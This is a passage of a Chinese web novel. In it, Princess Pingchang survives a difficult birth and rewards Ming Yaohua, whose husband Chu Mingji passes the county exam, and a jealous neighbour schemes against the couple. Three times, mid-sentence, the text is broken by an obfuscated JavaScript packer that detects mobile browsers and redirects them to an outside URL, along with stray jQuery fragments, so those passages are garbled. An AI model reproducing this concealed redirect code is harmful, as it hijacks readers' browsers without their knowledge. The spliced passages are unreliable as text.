平昌郡主咬着牙，额头全是湿汗，疼痛已经占据了她的全部知觉，哪里还顾得上回应窗外的男人。 她盯着头顶绣着婴戏图的帐子，双手紧紧抓住被褥一角，因疼痛而溢出的泪水模糊了她的眼睛，恍惚看到疼爱她的母妃，出嫁前母妃泪眼婆娑不舍得她嫁人，后来，母妃得知她夫君外放扬州，抱着她哭说不知何年才能再见。 谁知一语成谶，母妃再没能见到她，她躺在棺材里，灵堂挂满经幡白布，哭灵的人一茬接着一茬。 母妃接到她的死讯，哭得撕心裂肺，“我的儿啊，不孝女，抛下我走了，让我白发人送黑发人啊。” “使劲，使劲啊，已经看到婴儿的头了，郡主再使一把劲儿！” 崔二娘的催促声将她从地狱拉回了人间，平昌郡主陡然生出一股斗志，她不能死，她要回京城看母妃，她要给霞光寺塑一个金身佛祖，给崔二娘重赏，还有，还有那个荷花丛中突然出现的女子…… “恭喜郡主，是个哥儿！” 刚出生的婴儿哇哇大哭，崔二娘笑眯了眼。 温暖明亮的阳光撒在窗纱上，陆同知在外间炕上守了一晚上，闻着若有似无的血腥味，听着平昌郡主的痛苦呻｜吟，一颗心怦怦怦地跳着，紧绷的神经在听到内室高喊母子平安时方才松懈下来。 他按了按发麻的小腿，凑到槅扇边上喊平昌郡主的名字。 很快，棉绸帘子掀开，韦奶娘抱着襁褓出来给他看，“郡主累得昏过去了，这是郡主生的小哥儿。大人看看，多俊的孩子。” “这，这是兰均生的孩子？”陆同知激动万分，欲伸手要抱，又收回了手。 韦奶娘也不敢把这样小的婴儿给他抱，就这样抱着只给他看，眉眼舒展地笑道：“这可是郡主挣命给大人生的孩子，您不知道，前两个月好几个稳婆都说郡主胎位不正，幸好后来胎位又正回来了，不然还不知道险成什么样儿呢。” 陆同知脸色一白，膝盖发软，要不是抓住槅扇撑着，几乎要跪到地上。“胎位不正，我怎么不知道？” 韦奶娘看他这副模样，心中满意，就是要让他知道郡主怀胎受的苦，“郡主心疼大人公务繁忙，不忍大人忧心。后来她得了个偏方，胎位正了，就更不必再说了。” 看着陆同知一副惊惧后怕的模样，韦奶娘倒不好再多说什么了，和声细语道：“大人熬了一晚上，去歇一歇吧，小哥儿也该抱去喂奶了。等郡主醒了，您再和郡主一起看小哥儿。” 12. 查一个人 平昌郡主昏睡了两个时辰方才醒来，身下已经换了干净的被褥，一侧头，就看到一个小婴儿被包裹在襁褓里，躺在她身边，小脸蛋看着红红的。 平昌郡主爱怜地看着她的孩子，心头的喜爱怎么也止不住。 朝云和朝雨就守在屋内，坐在窗边静静地做针线活，一看到平昌郡主醒了，立刻放下手里的针线笸箩，走上前满脸喜色道：“奴婢恭喜郡主，喜得麟儿。” 平昌郡主两个丫鬟眼底的青黑，心疼道：“你们也累了一晚上，该回去歇着才是，唤底下的丫鬟守着我就好了。” 两个丫鬟经历了先前的稳婆接连请辞事件，又有昨晚艰险忙乱的生产，府里也没个长辈盯着，哪里放心得下？就怕一个错眼，出什么岔子。 如今看到平昌郡主醒来，精神还很好，母子两个平平安安的，熬了一宿的疲倦硬是被内心的欢喜冲没了，朝云笑道：“奴婢和朝雨年轻，熬一夜不打紧，倒是韦妈妈和稳婆们上了年纪，奴婢让她们去歇着了。” 顿了顿，又接着禀告道：“昨晚大人也在外头守了一夜，派小厮去衙门告了假，现下正在外间炕上眯着。四位奶娘已经搬到隔壁小跨院，由秦嬷嬷管束，小公子已经喂了一顿奶了。厨房备了甜口的红糖鸡蛋和咸口的香菇肉粥，若是您想吃些别的，奴婢立刻吩咐人做。” 短短几句话将当下情况说得清楚明白，平昌郡主赞赏地看她一眼，道：“就红糖鸡蛋吧。” 朝云忙出去命小丫鬟去厨房传话。外间陆同知听到动静也醒了，洗了把脸进来，与平昌郡主夫妻叙话，并陪着一起用膳。 用罢一碗红糖鸡蛋，陆同知出去处理公务，孩子被奶娘抱去喂奶，趁着这点空档，韦奶娘领着几个稳婆来领赏。 崔二娘低垂眉眼，一走进内室就感到暖意融融，热气将瓜果的清香烘开，再闻不到一点儿血腥味。 平昌郡主看到崔二娘，就想起生产之时陷入的幻境，不由心生后怕，她有一种莫名的笃定——那是她的另一种命运。 如果她没有去霞光寺，如果她没有遇到那位懂得扭转胎位之法的姑娘，她的结局就是如幻境中那般，命丧扬州！ 这样玄妙的际遇由不得她不心生敬畏。 平昌郡主略略思索，笑着道：“我能平安生产，你们都是出了力的，其中崔二娘出力多些。就赏崔二娘一百两银子，并一尊金镶玉送子观音。其余二位各五十两银子，并一对银手镯。以后家里遇到什么难事，也可以来告诉我，不过你们可不许仗着我的话，做出欺压旁人的事。” “是。”三人一齐应声。 崔二娘笑得合不拢嘴，不仅得了大笔的赏银，还得了郡主娘娘的承诺，有郡主娘娘在扬州一日，她就受人庇护一日，家里家外都有面子。 只是她实在好奇，平昌郡主是如何让颠倒的胎位正过来的，要是能学到这个法子，以后不知能救下多少人命呢。 崔二娘爱钱爱名，但也不是那种没有心肝的人，越是做这行久了，越是怜惜那些因生产而殒命的妇人。 她做了快二十年的接生婆子，听说过的因胎位颠倒而一尸两命的妇人就有超过一百人，那些没传到她耳朵里的呢？ 崔二娘敛住笑意，觑了一眼平昌郡主，犹豫半天，出于对权力的敬畏，终究还是不敢问出口。 崔二娘几人离开后 ，平昌郡主道：“她们得了赏，咱们府里的也不能落下。这个月府里发双份月例，再让厨下多买些好菜，从今天起，直到小公子满月，底下人每顿都加两个肉菜。” 屋内的丫鬟齐声下跪谢恩，韦奶娘直念佛，“郡主心善，奴婢代那些下人谢过郡主。” “再一个，”平昌郡主对韦奶娘道：“我想捐五千两脂粉银子给霞光寺，造一座金身佛像，就由奶娘和张管事一起督办此事，定要做得尽善尽美。” 韦奶娘上一瞬还在念佛，下一瞬就迟疑道：“五千两银子，这，是否太多了？” 平昌郡主是忠顺亲王的嫡长女，且是唯一的女儿，而忠顺亲王是当今皇帝的同母胞弟，这样尊贵的出身，嫁妆里单单现银便有三万两，远超一般的宗室女儿。 但一下子拿出五千两银子白送出去，也不是一笔小数目。 韦奶娘欲劝，就听得平昌郡主语气坚决道：“我心里有数，便是母妃问起来我也有话说，奶娘按我说的去做就是。” 时人对鬼神之说是敬而远之的，平昌郡主不想将幻境这般虚无缥缈的事说出去，没有多加解释，只下令让奶娘去办。 韦奶娘只得应“是”。 平昌郡主继续道：“还有一桩事，你去霞光寺时，帮我查一个人……” ＊ 时间转眼到了酉时，贡院大门打开，陆陆续续有考子走出来，很快，空荡的街道站满了人。 明瑶华雇了车，和明甫光一起在贡院门口附近等楚明霁出来。 明甫光站在车辕上盯着贡院大门，神情向往，等看到楚明霁的身影，他双眼发亮，一边挥手一边大声道：“姐夫，姐夫，这里。” 楚明霁面带疲态，顺着熟悉的声音望去，看到小舅子在远处一架马车上。 十来岁的小子必不可能被允许单独雇车出门，楚明霁想到这，原本没什么表情的脸上绽开一个笑容，在人群缝隙中灵活走动，朝着那处走过去。 楚明霁上了马车，车夫立即挥鞭，马车缓缓驶动。 明瑶华果然就在马车里，待楚明霁坐稳，她就打开食盒，取出一碗炖了好几个时辰的红枣乌鸡汤，碗里有几块去了骨头的鸡腿肉，小小的车厢里瞬间弥漫着鲜香味。 “特地为你炖的，快喝了解解饿，家里还备了别的好菜。”考试的脑力消耗大，饿得快，明瑶华对此再有体会不过了。 楚明霁接过，几大口将汤肉吃到腹中，疲惫的神色缓和了几分，问道：“你们怎么来了？这里人多，仔细冲撞了你。” 一个年轻弱女子，一个十岁出头的小子，楚明霁想想就放心不下。 刚搬来金鱼巷时，楚明霁有提出买一个健壮仆妇，可以帮着做家事，明瑶华出门也有人护着。 那时明瑶华顾虑孝期买下人，若是哪天楚明霁科举出仕，被人扒出来攻讦他孝期享乐就不好了，否了这个提议。 楚明霁暗想，等一个月后再提出买人，明瑶华就没有理由拒绝了。 毕竟秀才娘子有个下人伺候，怎么了？ 明瑶华嗔道：“瞧你说的，你考试辛苦，挣的是家里的脸面，怎么能让你疲累着走回去。” 贡院距离金鱼巷不远不近，就近雇不到马车，又没有家人来接，可不是要走回去。 明瑶华知道他的担心，又道：“马车是请齐大哥出面雇的，你放心吧，我何时做过没成算的事了？” 此时太阳还斜斜挂在天空，天色亮堂堂的，又是府衙的胥吏出面雇的马车，从贡院到金鱼巷都是扬州城繁华地带，就是歹人也不敢在这几个前提下作案。 楚明霁笑，捏了捏太阳穴，“怪我做了一天的考题，担心糊涂了。” 说到考题，明甫光脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353310|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激动，跃跃欲试道：“姐夫，院试难吗？” 早前楚明霁说过，他的水平已然可以考中童试前两科了，但院试楚明霁还没经历过，不敢打包票。 明甫光想考童试，除了想成为一个说话有分量的大人，还想试试自己的才能。他从小被夸天赋极佳，到底极佳是多厉害，不经过科考是说不清的。 楚明霁沉吟一会儿，道：“还成，等过一个月看看再说。再说你还小，就是你想下场，也要等过两年。” 他再有信心自己能考过，也不好在成绩未出时夸夸其谈。 明甫光有点失望，随即又充满期待，两年而已，很快的。 马车驶出文昌街，速度就快了，没一会儿就到了金鱼巷巷口。 用钥匙打开门锁，一家人回到家里，饭菜和热水都是备好的。 楚明霁洗澡后，一家人用罢晚饭，天色已然暗了下来。 楚明霁年轻，就算熬了一宿没休息好，白天又高度消耗脑力，在沐浴用饭后就恢复了精神，夜间还有精力放在床榻之上。 明瑶华感受到身侧越挨越近的热源，往里挪了挪，男性温热的肌肤不依不饶地跟着蹭过来。 明瑶华轻轻拍了一下在她腰间摩挲的手，“做什么？” 楚明霁小声地唤她：“瑶儿。” “不行。”明瑶华侧起身子，和他拉开一点距离。 楚明霁跟着侧躺着将她搂住，手掌捏着她的手把玩，被拒绝了也没泄气，问：“为什么不行？” 明瑶华感受到某物，脸上发热，推了推他，“你眼下的黑眼圈还没褪，消停些吧。万一你中途犯困睡着了，我可要一辈子记着笑话你。” 楚明霁急得坐起来，不服气地给自己辩白：“你看不起人，我不可能会中途睡着。你说，我哪次是不中用的？” “好了好了，说这个怪害臊的。”明瑶华含着笑意道，“我昨晚想着你在考场，一晚上没睡好，我眼下也有一圈青黑呢，明晚再说好不好？” 楚明霁闷闷地应了一声，失望地平躺在床上，即便是黑暗中，看不见他的神色，明瑶华也能感受到他的失落。 身边闷闷不乐的可是俊秀挺拔的十八岁男大，明瑶华想了想，转身靠在他胸口，“倒也不是不行，不过你得答应我一个条件。” “什么条件？”楚明霁兴奋地问。 “从明天开始，你每天都要练一套八段锦。”明瑶华不是心血来潮，而是认识楚明霁近十年，几乎每年换季楚明霁都要请上一两次大夫，健康的十八岁男大哪里会畏惧换季的冷热交替？ 她和明甫光都不像他，年年要请大夫。之前因种种原因，没有提及让他锻炼的事，现在说却是正正好。 “就这？”楚明霁也不去细究，左不过是为了他的身体好，立刻答应下来。 他答应得这样痛快，明瑶华讶然，提醒道：“我可是认真的，一诺千金的故事你还记得吧？” 楚明霁翻身将她压在身下亲，过了好一会儿，方调笑道：“我也是认真的，不然我怕你一辈子记着笑话我不守承诺。” …… 韦奶娘在霞光寺提出捐银子，又花了一番功夫从主持处要来香客留宿名册，连续调查了好些天，才查出平昌郡主所说的，在霞光寺山脚赏莲亭遇到的女子的身份。 同知府内，平昌郡主坐在床上，腰后靠着蜜合色漳绒大迎枕，正饶有兴致地逗着日益白胖可爱的婴儿。 听到韦奶娘的回话，抬起头惊讶道：“她的夫婿参加了今年的院试？” 13. 秀才公、脸面 韦奶娘道：“是。郡主是想助他一把？” 一个秀才的功名而已，只要不是那等蠢笨懒怠的，平昌郡主就能帮着运作一番。 平昌郡主沉思一会儿，摇了摇头，招手让朝云来到身边，低声吩咐她准备两份不同的谢礼。 朝云应声而去。韦奶娘已经经由朝云知道了明瑶华在平昌郡主平安产子背后的功劳，不解地问：“若是她夫婿考不中，就只一份薄礼给她？” 给霞光寺捐了五千两，怎么到了这么一个能耐人头上，就一份薄礼打发了？ 平昌郡主道：“若她夫婿没本事，我便给他举荐一位善于教学的夫子，一应银钱使费我全包了。科考还是要靠自己的真本事。至于明娘子，到时候我自有别的好处给她。” 韦奶娘笑道：“郡主想的很周到，奴婢见识浅，再想不了那么多的。” 平昌郡主笑了一下，道：“奶娘是世人的想法，丈夫的荣耀就是妻子的荣耀，我却不那么想，帮我的是明娘子，要报答也是报答到明娘子身上。” 韦奶娘不以为然，她是根深蒂固的夫荣妻贵、以夫为天的想法，但当下人的不能和郡主对着说，就顺着道：“郡主说的很是。” 到了十一月初五，平昌郡主估摸着院试榜单已经有了，只是还没放出来，就去问陆同知榜上是否有清宁县楚明霁的名字。 陆同知免不了问她无缘无故的怎么突然关心起一个普通考子，平昌郡主低着头心虚地将前因后果道出。 “你真是，唉呀！”陆同知一甩袖子，气哼哼地走去窗边罗汉榻坐下。 陆同知此前就连她胎位不正之事都是在奶娘嘴里偶然得知的，不知道其中还有这么一段故事，一时间不由得又气又庆幸又心疼。 气唯一的枕边人连这般大事都不告诉自己，庆幸遇到了好人，不然现在还不知是何等悲戚。 心疼者，在于自己对妻子的艰难一无所知，实在失职。 “这事是我不对。”平昌郡主忙令朝云将大红织锦襁褓抱去给他看，小孩儿乌溜溜的眼睛转个不停，“夫君看在孩子的面上，别和我计较了。” 平昌郡主也是故意趁着这个时机将一切合盘托出，免得以后因这事生出不快。 陆同知被一双清亮的黑眼睛看得心里发甜发软，抱着孩子走到床边坐下，道：“以后可不能再瞒着我这样重要的事了。” 平昌郡主忙点头，“那院试榜单的事？” 陆同知道：“我下值时听府尊提了一嘴，说榜单还未最终确定名次，初八放榜，等初七我再去问一问。” ＊ 等待发榜的日子难熬，明瑶华就找了件事做——和楚明霁明甫光一起去看铺子。 有合适的先记下来，等放榜结果出来，再决定是开铺子面向官员富商之家，走少而精，接定制模式；还是走私人小作坊模式，只做普通的香皂，通过货郎和雇人推销进行售卖，这样连铺子也不需要租了。 时间过得极快，进入十一月之后，天气越来越冷，加上放榜的日子就在这几天，明瑶华也不往外跑了，天天待在家里。 这天早饭后卢氏带女儿过来串门。 明瑶华在靠近厨房的西厢房收拾出来一间冬日待客的小厅，小小的厅里放了两个炭盆，炭盆里烧的白炭，比黑炭烟烧耐烧，椅子都套着椅搭和坐垫，椅搭和坐垫都是隔壁巷子刘嫂子的手艺，紫色的布料上绣着碧色的小花，和墙角摆着的一盆绿植、墙上挂着的一副红梅图相映成趣，此处自成一个温暖的小天地。 卢氏坐下舒服得直叹气，手上编织络子的动作飞快，“你这里好自在，又暖和，又清清静静的。” 明瑶华素喜青姐儿乖巧聪慧，翻出一沓用过一面的纸张，和笔墨砚台，教青姐儿提笔写字。 教了握笔运笔之后，明瑶华让青姐儿照着字帖上的“永”字临摹，自己坐到卢氏旁边，拿过丝线帮着打络子，闲笑道：“姐姐家里难道是点不起炭盆的？还说这话。” “我说的可不只炭盆的事。”卢氏手指翻飞，低声道：“你是家里人少，都是不爱凑热闹的。这两天曹家又闹起来了，听说那徐氏的哥哥欠了赌场一百多两银子，人家要拿她妹妹抵债。徐氏不肯，回家和她哥哥吵了起来，动了胎气，在养胎呢。我婆婆上午帮着看摊子卖猪肉，下午就和巷子里的婆姨婶子们聚在家里一边打牌一边说这事。” “没想到徐氏还有这样一面。”明瑶华手里顿了顿，有点惊讶。 卢氏道：“她也是倒霉，遇上这么一个哥哥，家里留下的产业都给败了个干净，从前只是吃喝摆阔，后来又好上了赌，可怜徐氏和她妹子了。” 卢氏看了一眼专心练字的青姐儿，烦恼道：“还累的我被婆婆催生，说是赶紧生一个小子出来，趁着他们年轻，可以帮着教孩子，绝对不会养成徐氏哥哥那样的败家子。” 这话明瑶华有点不好接了，于是笑道：“齐大哥在府衙见多了世面，以后你们的孩子有齐大哥一起教，差不了的。不说以后，我看青姐儿就好的很，又贴心又机灵。” “那倒是。”听得明瑶华夸她的女儿，卢氏禁不住露出笑意。 且说府衙那边，巳时刚过，就有衙役张贴出一张红榜，爱热闹的百姓一呼涌上去。 各县县令派来的书吏跟着挤到人群里，先看一遍，心里有个数，等人群散了再将榜单抄录下来，回头张贴到县衙外头。 齐壮不过看了两个不认识的人名，下一眼就看到了熟悉的名字。他面色涨红，双拳紧握，太好了，楚兄弟果然是个有能为的！ 眼疾手快的报子看到第三名楚明霁就住在扬州城里，忙抢了这桩报喜差事，锣鼓唢呐一齐响起，朝着金鱼巷出发。 响亮昂扬的乐声停留在楚家门外，报子扯着嗓门恭贺秀才公，周遭的百姓听到动静都走出家门围观。 明瑶华愣了一下，侧耳确定这锣鼓声是在自家门口，卢氏急得夺过她手里打了一半的络子，“快叫上楚兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353311|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟，不，是楚秀才了，快叫上秀才公一起去开门啊。” 刚站起来，卢氏道：“对了，报喜的银子你身上有吗？没有快回去取银子。” 好消息来得太突然，纵然有过心理预期，明瑶华还是没法子冷静从容，“身上没带银子，我这就去取。” 明瑶华提起裙角跑回正房卧室，取出十两碎银子装在一个普通形制的荷包里。 外面的锣鼓敲敲打打，是热闹喜庆的声音。 楚明霁和明甫光在东侧间书房出来，明甫光绷着小脸，方才姐夫听到锣鼓声一激动，将毛笔扫到他手上了，用清水洗了好一会儿，指甲缝里还有一点墨色。 还好没将墨水溅到他脸上，他，他也想出去跟着风光一下。 这点小插曲倒是平复了楚明霁的激动之情，他好言好语地道不是，将明甫光哄好了，一齐走出来。 明瑶华嘴角翘起，和楚明霁对视道：“秀才公，还不快去开门。” 大门缓缓打开，楚明霁和明瑶华明甫光一齐走出来，报子细看其中的成年男子长相身材都对得上，瞬间敲响锣鼓，吹起喇叭，欢快激昂的乐声响了半刻钟方才停下。 其中一个报子大声喊道：“捷报，楚明霁老爷于洪熙九年院试高中第三名，入泮了！” 连喊三次，确保周围百姓听得清清楚楚。 而后才走到楚明霁跟前恭贺道：“恭喜楚秀才，这般年轻就考出第三名的好成绩，以后举人进士，指日可待。” 对这明瑶华道：“恭喜秀才娘子，以后楚秀才考中进士，当了官儿，您就是诰命夫人了。” 明瑶华在旁边听着，嘴角的笑都压不住，这情绪价值，实在是太到位了。 她给出荷包，笑着道：“多谢二位跑这一趟，路上冷，这点银子二位拿去打酒喝，暖暖身子。” 报子手一捏，就知道里面是十两银子，嘴里的好话更是一连串溜出来。 卢氏拉着青姐儿在人群里看着这样的荣耀，心生羡慕，她以前也有过一个哥儿，可惜没养住，不然也是读书的年纪了。 卢氏暗想，等她再生一个哥儿，一定要养住了，长大后送到学堂读书，也许她也能成为秀才娘呢，再不济也能接替齐壮的职位，当个典吏。 报子在楚家门前停留了两刻钟，昂扬的氛围渐退，人群即将散去，巷子外又传来了一阵喧闹声。 一群人抬着礼品走到人群聚集的楚家门前，为首一个管家模样的人拱手问道：“此处可是明娘子的住处？” 众人都以为是给秀才公送礼的乡绅，却不料是找秀才公的妻子的。 明瑶华站出来，疑惑道：“我是姓明，不知你是？” 张管家朗声道：“明娘子两月前在霞光寺帮了我家郡主一个大忙。我是奉平昌郡主之命，特来给明娘子送谢礼的。” 郡主？ 明娘子竟然认识郡主这样的大人物？ 围观的人群大惊，交头接耳议论纷纷。 14. 请帖、封氏 原来是平昌郡主有意给明瑶华做脸，特意选在府衙的衙役上楚家报喜的时候，让下人大张旗鼓地给明瑶华送礼。 张管家看了一眼人群，自觉已经达到给对方长脸的目的，挺直腰杆，笑道：“不知可否进内宅再叙。” 明瑶华道：“这是自然。” 忙请人入内。 卢氏在一旁看着，虽然不是自家的荣耀，亦是免不了的心头火热，她将青姐儿塞给同在看热闹的婆婆，自己跟着入内，推开要来厨房烧水泡茶的明瑶华道：“你去招待贵人，这儿有我。” 明瑶华感激道：“那就麻烦姐姐了。” 正堂里，几人分宾主坐下，十几个下仆将礼品堆放在桌案上，退出去候在院子正中。 张管家先自报家门：“敝姓张，是陆同知府上的管家，同知夫人便是平昌郡主。郡主只说明娘子在霞光寺对她有救命之恩，特命我给明娘子送谢礼和家中小公子满月宴的请帖。” 他从怀里取出礼单和请帖，递给明瑶华。 明瑶华听到霞光寺就想到那日遇到的神思恍惚欲要跳湖的孕妇，原来竟是郡主之尊，怪道一身华贵装扮。 接着又是一阵后怕，还好郡主平安生产，否则…… 明瑶华接过礼单和请帖，顺手将请帖递给楚明霁，自己展开礼单。略过写在前面的礼节性话语，只见上面写着：上用绸缎十二匹，金镶红蓝宝花卉头面一套，上用通草绒花一盒，茶叶四盒，点心干果四盒，笔墨纸砚两套，新书四部，二十两重的银锭子十个，奴婢二人。 此时卢氏送了热茶进来，低着头斜斜觑了一眼桌上的物品，心里直念“我的天爷”。 华贵的雕漆螺钿礼盒和张管家方才所说的“奉郡主之命”，硬生生将熟悉的邻居家的正堂衬托出几分令人生畏的气势。 卢氏不敢多呆，送上热茶就出去了。 张管家顺手端起茶碗啜了一口，普普通通的山茶，还算能入口。 明瑶华和楚家对视交流几瞬，而后笑着道：“郡主有请，是天大的面子，只是我们家门第低，郡主和同知大人的小公子满月宴，定有许多高官显宦，我们若去了，怕惹人非议。” 张管家笑道：“郡主亲自写的帖子请来的贵客，谁敢非议？郡主诚心盼着秀才娘子一家赴宴，若是不去，让郡主失望了反而不美，就是我，也要被郡主责备做不好事。” 看了看身材颀长、容貌清俊的楚秀才，张管家又道：“再一个，我们小公子的满月宴，来的不乏同为秀才、备考乡试的青年才俊，明年楚秀才不拘是入府学读书，还是去梅山书院读书，多认识些人总是好的。” 这番话将各方的面子都照顾到了，明瑶华也说不出拒绝的话，就笑道：“那便谢过郡主美意，到时我们一家子必定准时赴宴。” 她转而点了点礼单，道：“只是这些礼品是否太贵重了，我只是帮了郡主一个小忙，不值当这些。且，礼单上怎么还有奴婢二人？” 张管家笑道：“郡主送出的谢礼，都是一样样拟定的，请秀才娘子安心收下，勿要推辞。那两人是一对母女，以前是别人家的厨娘，后来被主家发卖了，来历清白，被我们郡主买下来调、教，想着秀才娘子家里还没有伺候的下人，让她们在你们读书人家里做事，清净安心。” 明瑶华一阵毛骨悚然，一方面是一对母女轻易就能被主家发卖，一方面是郡主能轻易查到她家的事。 她喝了一口热茶，压下那股子不适之感，盯着礼单上写着的金镶红蓝宝花卉头面一套，微微皱眉，这一套头面少说也要上千两银子，她和郡主不过一面之缘，这怎么好收下？ 其实有银子绸缎等物已是一份极体面的谢礼了。 平昌郡主也太大方了些。 明瑶华并不知道，这份头面是在楚明霁院试取中才有的，若是楚明霁榜上无名，头面就换成一对珍珠花簪，一对绞丝金镯，就连上用绸缎也是换成普通市卖的。 张管家察言观色，适时道：“不瞒秀才娘子，月前我家郡主才在霞光寺捐了五千两银子，秀才娘子收下，大家皆大欢喜。若不收，反倒惹麻烦。” 霞光寺乐呵呵的收了银子，你不收，岂不是显得霞光寺贪财？ 明瑶华无奈道：“那便谢过郡主了。” 事已完成，张管家起身告辞，一行人离开，唯独一对穿着粗布袄子的母女各拎着一个包袱继续立在院中。 明瑶华面对着一屋子的东西，和楚明霁明甫光等人面面相觑。 楚明霁还知道一点前情，明甫光是一点不知的，小声问：“姐姐，你帮了郡主什么忙？郡主怎么送这么多东西来咱们家？” 明瑶华含糊道：“就是女孩子之间的一些事。” 明甫光“噢”了一声，随便有个答案就行，也不在意姐姐糊弄他。 明瑶华有点迷惘，楚明霁考中秀才她有心理准备，是期盼之中的事，平昌郡主送礼却实实在在是意料之外，一时不知该作何应对。 楚明霁笑着激她：“怎么？这点小事就把你难住了？” 明瑶华坐直道：“笑话，区区小事，怎么能难住我！”好东西给她她就收着，又不是什么见不得人的事。 她雷厉风行地将礼盒打开，指挥两人将礼盒安置在各处。 又让院中的母女进来，简单问话，得知她们此前是金陵某个大家族的厨娘，原是男主人原配的陪房，被男主人的续弦寻了个错处发卖出来。 女儿七八岁，叫花椒，母亲的本名没人叫了，别人都叫她花椒娘。 明瑶华想了想，在后罩房挪出一间屋子给她们住。 这对母女只随身携带两身衣物，花椒娘说她针线活还过得去，明瑶华便拿出五两银子，让她们自去买些粗布棉花等物做棉袄铺盖，顺道采买今晚的菜品。 楚家的风光得意，成了金鱼巷居民的谈资，对外说起楚家，一个个手舞足蹈的比划起来，就是在自家里，也是说得眉飞色舞，就像风光的是自己一般。 徐氏却是暗咬银牙，明氏那样羞辱自己，老天爷怎样让她又是成了秀才娘子，又是得郡主的青眼？ 要是能给她添点堵就好了。 徐氏心思一动，急急回娘家，避开哥哥和妹妹徐令婵私语道：“楚秀才年轻有才华，听说他院试考的第三名，以后还能往上考，你就是给他做妾，也不辱没你，等他当了官儿，你也算半个官太太了，总比你被哥哥买到商户家做五房姨娘要好。” 徐令婵长相秀美，比姐姐徐氏更胜一筹，听了徐氏的话，眉心微蹙，楚楚生怜，她低着头问道：“楚秀才和妻子伉俪情深，他如何愿意纳我做妾？” 徐氏道：“他不过是碍于脸面，不好主动说出纳妾，心里哪有不愿的。你要是也愿意，姐姐帮你想办法。” 徐令婵想起楚秀才年轻俊美的容貌，脸上羞红，若能嫁给那样一个人，就是做妾，她也是愿意的。 徐氏看着妹妹的脸蛋， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353312|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畅快暗想：她就不信楚秀才不动心。 徐令婵咬住唇瓣，轻轻点了点头，“我都听姐姐的。” ＊ 既然要去参加平昌郡主府上的满月宴，自然要裁制新衣，但是明瑶华实在不具备这项能力，便照旧请了隔壁巷子的刘嫂子来。 刘嫂子是绣娘出身，针线活比一般人好，但因嫁人生了孩子，比不得未婚绣娘做事利落，就从绣庄离开，在家接活。 明瑶华在平昌郡主送的绸缎里挑选出几匹颜色合适的，摆放在桌面上，却不料刘嫂子小心翼翼地用指腹轻轻抚过最上面的云锦料子，转身一脸歉意道：“秀才娘子，这次的活我不敢接，你另请他人吧。” 明瑶华纳闷：“这是怎么说？” 刘嫂子实话道：“我是惯常给附近巷子的人家做衣物，也有些人家买了绸的锦的料子做衣裳，但我还从来没有碰到过这么好的料子——下面两匹是妆花织金的缎子，上面那匹是上等云锦，我也只有年轻时在教我绣花的师傅那里见过这样的料子。这样贵重的料子，裁缝坏了我赔不起，秀才娘子还是去请别的绣娘吧。” 这时卢氏进来了——齐壮很愿意让她多来楚家走动，不需要算计什么，只维持好和睦的邻里关系就足够了。 正厅里，明瑶华面色苦恼，刘嫂子一个劲的道对不住，卢氏不免问道：“这是怎么了？” 明瑶华便将事情说了。 卢氏笑道：“这有什么？或是送去绣庄，或是再找一个敢裁缝的绣娘不就行了。” “可是我也不知道哪家绣庄的做工好，还得再一家家去看一遍。”明瑶华本来没多想，但刘嫂子申明了缎子的珍贵，她也不愿意找个绣活普通的了，没的浪费了好衣料。 刘嫂子抬眼看了看明瑶华，试探着道：“秀才娘子要是不嫌弃，我倒可以推荐个人。” “哦，是谁？”明瑶华来了兴趣。 “就是那教我绣花的师傅，人称石绣娘的。”刘嫂子娓娓道来，“我那师傅曾经嫁给了一个小官做妾，生了一个玉雪可爱的女儿，可惜被拐子拐走了，她发了疯，闹着要小官将女儿找回来。小官找了几个月，就放弃了，我师傅不愿意，就求了休书，她如今就住在东城门边上，一边接绣活维生，一边寻访女儿的踪迹。” 卢氏是有女儿的，听得揪心，“是个可怜人。” 刘嫂子担保道：“我师傅的绣活是绝对出色的，她精通苏绣，就是双面绣也会的。人品也可靠，她如今和一个同样丢了女儿的封氏住在一起，还去慈幼院收留了两个小丫头，教她们刺绣的手艺。” 听起来似乎很不错，明瑶华问：“她如何收费？” 刘嫂子道：“比照大绣庄的价格，低两层。” 明瑶华点点头，决心下午去看看。 不过，封氏，明瑶华好像脑子里有一根弦被突然弹了一下，问：“封氏姓的是哪个‘feng’？” 刘嫂子不妨她问这个，愣了一下才道：“就是开封府的那个封。” 她以为明瑶华对封氏感兴趣，继续道：“封氏也是惨，原是乡绅家的太太，可惜遭遇了一连串祸事——先是丢了女儿，后又被火烧了家宅，回到娘家又被父亲嫌弃，丈夫耐不住痛苦入了道观，不问俗世。封氏一个人苦苦支撑，还没放弃寻访女儿。” 封氏！ 